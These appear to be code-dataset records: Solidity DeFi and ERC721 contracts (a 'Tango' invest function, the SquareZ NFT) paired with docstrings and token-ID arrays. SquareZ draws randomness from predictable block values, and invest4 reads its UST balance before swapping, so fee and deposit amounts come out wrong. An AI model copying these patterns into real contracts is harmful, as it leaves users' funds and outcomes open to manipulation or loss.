^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IConvexDeposit{ function depositAll(uint256 _pid, bool _stake) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IConvexWithdraw{ function withdrawAndUnwrap(uint256, bool) external; function balanceOf(address account) external view returns (uint256); function earned(address account) external view returns (uint256); function getReward() external; }
* @dev invest function, create tango smart wallet for user at 1st time invest store the TSW in userSw and isSW set as true swap DAI, USDT, USDC to UST, then charge fee if feeIn greater than 0 add amount UST to Curve pool (UST) then call TSW for staking to Convex @param _param is [ust, dai, usdc, usdt]/
function invest4(uint256[4] memory _param) external override { address sw = userSW[msg.sender]; if(sw == address(0)) { bytes memory bytecode = type(TangoSmartWallet).creationCode; bytes32 salt = keccak256(abi.encodePacked(address(this), msg.sender)); assembly { sw := create2(0, add(bytecode, 32), mload(bytecode), salt) } TangoSmartWallet(sw).initialize(msg.sender, curveLpToken, convexDeposit); userSW[msg.sender] = sw; isSw[sw] = true; allSWs.push(sw); } uint256 balanceUST = IERC20(ust).balanceOf(address(this)); for(uint i = 0; i < _param.length; i++) { if(_param[i] > 0) { if(i == 3) { IERC20(usdt).safeTransferFrom(msg.sender, address(this), _param[i]); _uniswapSwapToken(uniRouter, usdt, ust, _param[i]); } if(i == 2) { IERC20(usdc).safeTransferFrom(msg.sender, address(this), _param[i]); _uniswapSwapToken(uniRouter, usdc, ust, _param[i]); } if( i == 1) { IERC20(dai).safeTransferFrom(msg.sender, address(this), _param[i]); _uniswapSwapToken(uniRouter, dai, ust, _param[i]); } } } if(feeIn > 0) { uint feeAmount = balanceUST * feeIn / 10000; IERC20(ust).safeTransfer(feeCollector, feeAmount); balanceUST = balanceUST - feeAmount; } IERC20(ust).approve(curvePool, balanceUST); uint256 curveLpAmount = _curveAddLiquidity(curvePool, [balanceUST, 0, 0, 0]); IERC20(curveLpToken).safeTransfer(sw, curveLpAmount); ITangoSmartWallet(sw).stake(convexDeposit, pidUST); UserInfo storage userInfo = usersInfo[msg.sender]; userInfo.totalCurveLpStaked = userInfo.totalCurveLpStaked + curveLpAmount; userInfo.totalTokenInvest[ust] = userInfo.totalTokenInvest[ust] + balanceUST; }
13,770,666
[ 1, 5768, 395, 445, 16, 752, 268, 6399, 13706, 9230, 364, 729, 622, 404, 334, 813, 2198, 395, 1707, 326, 15508, 59, 316, 729, 6050, 471, 11604, 59, 444, 487, 638, 7720, 463, 18194, 16, 11836, 9081, 16, 11836, 5528, 358, 587, 882, 16, 1508, 13765, 14036, 309, 14036, 382, 6802, 2353, 374, 527, 3844, 587, 882, 358, 22901, 2845, 261, 5996, 13, 1508, 745, 15508, 59, 364, 384, 6159, 358, 18263, 338, 225, 389, 891, 353, 306, 641, 16, 5248, 77, 16, 584, 7201, 16, 584, 7510, 18537, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2198, 395, 24, 12, 11890, 5034, 63, 24, 65, 3778, 389, 891, 13, 3903, 3849, 288, 7010, 3639, 1758, 1352, 273, 729, 18746, 63, 3576, 18, 15330, 15533, 203, 3639, 309, 12, 5328, 422, 1758, 12, 20, 3719, 288, 203, 5411, 1731, 3778, 22801, 273, 618, 12, 56, 6399, 23824, 16936, 2934, 17169, 1085, 31, 203, 5411, 1731, 1578, 4286, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 2867, 12, 2211, 3631, 1234, 18, 15330, 10019, 203, 5411, 19931, 288, 203, 7734, 1352, 519, 752, 22, 12, 20, 16, 527, 12, 1637, 16651, 16, 3847, 3631, 312, 945, 12, 1637, 16651, 3631, 4286, 13, 203, 5411, 289, 203, 5411, 15284, 23824, 16936, 12, 5328, 2934, 11160, 12, 3576, 18, 15330, 16, 8882, 48, 84, 1345, 16, 26213, 758, 1724, 1769, 203, 5411, 729, 18746, 63, 3576, 18, 15330, 65, 273, 1352, 31, 203, 5411, 353, 6050, 63, 5328, 65, 273, 638, 31, 203, 5411, 777, 55, 15444, 18, 6206, 12, 5328, 1769, 203, 3639, 289, 203, 3639, 2254, 5034, 11013, 5996, 273, 467, 654, 39, 3462, 12, 641, 2934, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 364, 12, 11890, 277, 273, 374, 31, 277, 411, 389, 891, 18, 2469, 31, 277, 27245, 288, 203, 5411, 309, 24899, 891, 63, 77, 65, 405, 374, 13, 288, 203, 7734, 309, 12, 77, 422, 890, 13, 288, 203, 10792, 467, 654, 39, 3462, 12, 407, 7510, 2934, 4626, 5912, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 2 ]
pragma solidity ^0.5.0; // https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v2.3.0/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type, */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * > It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v2.3.0/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v2.3.0/contracts/drafts/Counters.sol /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the SafeMath * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } /** * @dev Interface of the ERC165 standard, as defined in the * [EIP](https://eips.ethereum.org/EIPS/eip-165). * * Implementers can declare support of contract interfaces, which can then be * queried by others (`ERC165Checker`). * * For an implementation, see `ERC165`. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified) * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the `IERC165` interface. * * Contracts may inherit from this and call `_registerInterface` to declare * their support of an interface. */ contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See `IERC165.supportsInterface`. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See `IERC165.supportsInterface`. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } /** * @dev Required interface of an ERC721 compliant contract. */ contract IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) public view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) public view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either `approve` or `setApproveForAll`. */ function safeTransferFrom(address from, address to, uint256 tokenId) public; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either `approve` or `setApproveForAll`. */ function transferFrom(address from, address to, uint256 tokenId) public; function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } // https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v2.3.0/contracts/token/ERC721/IERC721Receiver.sol /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract IERC721Receiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safeTransfer`. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4); } // https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v2.3.0/contracts/token/ERC721/ERC721.sol contract ERC721 is ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /** * @dev Gets the balance of the specified address. * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _ownedTokensCount[owner].current(); } /** * @dev Gets the owner of the specified token ID. * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(msg.sender == owner || isApprovedForAll(owner, msg.sender), "ERC721: approve caller is not owner nor approved for all" ); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf. * @param to operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address to, bool approved) public { require(to != msg.sender, "ERC721: approve to caller"); _operatorApprovals[msg.sender][to] = approved; emit ApprovalForAll(msg.sender, to, approved); } /** * @dev Tells whether an operator is approved by a given owner. * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address. * Usage of this method is discouraged, use `safeTransferFrom` whenever possible. * Requires the msg.sender to be the owner, approved, or operator. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom(address from, address to, uint256 tokenId) public { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved"); _transferFrom(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address from, address to, uint256 tokenId) public { safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether the specified token exists. * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID. * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); emit Transfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use _burn(uint256) instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own"); _clearApproval(tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * @param tokenId uint256 ID of the token being burned */ function _burn(uint256 tokenId) internal { _burn(ownerOf(tokenId), tokenId); } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to transferFrom, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _clearApproval(tokenId); _ownedTokensCount[from].decrement(); _ownedTokensCount[to].increment(); _tokenOwner[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Internal function to invoke `onERC721Received` on a target address. * The call is not executed if the target address is not a contract. * * This function is deprecated. * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data); return (retval == _ERC721_RECEIVED); } /** * @dev Private function to clear current approval of a given token ID. * @param tokenId uint256 ID of the token to be transferred */ function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } } contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } contract SquareZ is ERC721 { struct Square { uint8 r; uint8 g; uint8 b; } address public owner = msg.sender; string public name = 'SquareZ'; string public symbol = 'SQRZ'; address public proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1; uint public idCounter; uint private seed; Square[] public squares; event Mint(address user, uint id, uint8 r, uint8 g, uint8 b); function uint2str(uint i) internal pure returns (string memory){ if (i == 0) return "0"; uint j = i; uint length; while (j != 0){ length++; j /= 10; } bytes memory bstr = new bytes(length); uint k = length - 1; while (i != 0){ bstr[k--] = byte(uint8(48 + i % 10)); i /= 10; } return string(bstr); } function strConcat(string memory _a, string memory _b) internal pure returns (string memory) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); string memory ab = new string(_ba.length + _bb.length); bytes memory bab = bytes(ab); uint k = 0; for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i]; for (uint i = 0; i < _bb.length; i++) bab[k++] = _bb[i]; return string(bab); } function tokenURI(uint256 _tokenId) public view returns (string memory) { require(_exists(_tokenId)); string memory infoUrl; infoUrl = strConcat('https://squarez.fun/v/', uint2str(_tokenId)); return infoUrl; } function isApprovedForAll(address _owner, address operator) public view returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(_owner)) == operator) { return true; } return super.isApprovedForAll(_owner, operator); } function random() internal returns (uint8) { seed += uint256(keccak256(abi.encodePacked(block.timestamp + block.difficulty))) + uint256(keccak256(abi.encodePacked(msg.sender))); return uint8(uint256(keccak256(abi.encodePacked(block.timestamp + block.difficulty + seed))) % 256); } function mint() external { require(msg.sender == tx.origin); uint8 r = random(); uint8 g = random(); uint8 b = random(); squares.push(Square(r, g, b)); emit Mint(msg.sender, idCounter, r, g, b); _mint(msg.sender, idCounter++); } }
* @dev Safely transfers the ownership of a given token ID to another address If the target address is a contract, it must implement `onERC721Received`, which is called upon a safe transfer, and return the magic value `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, the transfer is reverted. Requires the msg.sender to be the owner, approved, or operator @param from current owner of the token @param to address to receive the ownership of the given token ID @param tokenId uint256 ID of the token to be transferred @param _data bytes data to send along with a safe transfer check/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); }
171,069
